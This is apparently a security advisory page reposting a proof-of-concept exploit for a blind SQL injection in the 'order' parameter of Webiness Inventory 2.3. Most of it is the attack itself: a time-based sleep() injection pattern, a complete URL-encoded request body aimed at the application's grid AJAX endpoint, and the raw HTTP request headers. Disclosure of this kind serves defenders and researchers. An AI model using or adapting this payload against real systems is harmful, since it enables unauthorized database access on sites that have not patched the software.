Webiness Inventory 2.3 - 'order' SQL Vulnerability

2019.02.11
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

================================================================================== # Exploit Title: Webiness Inventory 2.3 - 'order' SQL Vulnerability # Dork: N/A # Date: 10-02-2019 # Exploit Author: Mehmet EMIROGLU # Vendor Homepage: https://sourceforge.net/projects/webinessinventory/files/ # Software Link: https://sourceforge.net/projects/webinessinventory/files/ # Version: 2.3 # Category: Webapps # Tested on: Wamp64, Windows # CVE: N/A # Software Description: Small stock inventory managment application for web. ================================================================================== # POC - SQL (Blind SQL) # Parameters : order # Attack Pattern : (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ # PoC : [PATH]/deleteAction=%2Fwebiness%2Fprotected%2Flibrary%2Fajax%2FWsDeleteFromModel.php&editAction=%2Fwebiness%2Fprotected%2Flibrary%2Fajax%2FWsEditModel.php&formId=WsGridView_5c601d95ca0f3_edit_form&gridId=WsGridView_5c601d95ca0f3&itemsPerPage=5&model=Product_categoryModel&noDataText=no+data+found&order=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'"%2b(select(0)from(select(sleep(0)))v)%2b"*/&pageId=0&searchStr=&showEdit=1 # POST /webiness/protected/library/ajax/wsmodelgrid.php HTTP/1.1 Content-Length: 449 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Referer: http://localhost/webiness/ Cookie: PHPSESSID=c1ug72hmm589pjd933vlk641t2 Host: localhost Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* ==================================================================================


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top